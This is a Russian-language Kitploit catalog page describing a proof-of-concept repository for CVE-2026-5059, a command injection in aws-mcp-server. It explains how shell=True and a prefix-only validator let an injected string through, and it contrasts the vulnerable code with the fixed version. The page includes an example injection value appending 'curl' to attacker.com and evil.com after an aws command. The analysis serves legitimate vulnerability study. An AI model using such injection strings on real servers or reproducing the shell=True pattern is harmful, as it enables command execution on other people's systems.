Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5059-poc — Proof-of-concept для CVE-2026-5059 — внедрение команд в aws-mcp-server через shell=True и неполную валидацию, с анализом уязвимого и исправленного кода. | Kitploit
Инструменты/GitHubGitHub/pwn0x000/cve-2026-5059-poc
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеКомандование и Управление
GitHubpwn0x000/cve-2026-5059-poc

CVE-2026-5059-poc

Proof-of-concept для CVE-2026-5059 — внедрение команд в aws-mcp-server через shell=True и неполную валидацию, с анализом уязвимого и исправленного кода.

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Где находится CVE-2026-5059 в коде? Уязвимость заключается в двух файлах, работающих вместе:

Файл 1: tools.py — Первопричина В старой версии использовался shell=True в execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) Когда shell=True, оболочка ОС интерпретирует всю строку, включая ;, &&, ||, обратные кавычки — поэтому всё после ; выполняется как отдельная команда.

Файл 2: security.py — Неполная защита Валидатор проверял только то, что команда начинается с aws: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe Таким образом, aws s3 ls ; curl http://attacker.com проходила валидацию — начинается с aws — а затем shell=True выполнял обе части.

Почему текущая версия (v1.7.0) отличается Судя по актуальному коду на сегодняшний день, обе проблемы устранены: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation А security.py был полностью удалён — заменён на песочницу ОС (Landlock/bwrap/Seatbelt). Теперь ; безвреден: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess получает ';' как литеральный аргумент для aws → AWS CLI игнорирует его, вторая команда не выполняется

Итог в одной строке Уязвимая версияТекущая v1.7.0Выполнениеshell=True + строкаshell=False + списокВалидациятолько startswith("aws")песочница на уровне ОС; обработкаВыполняется оболочкойОбрабатывается как литеральный текст CVE был зарегистрирован против старой версии. ZDI опубликовал его как 0-day, потому что вендор отклонил отчёт — но архитектура уже отошла от shell=True до публикации CVE.

Скачать инструмент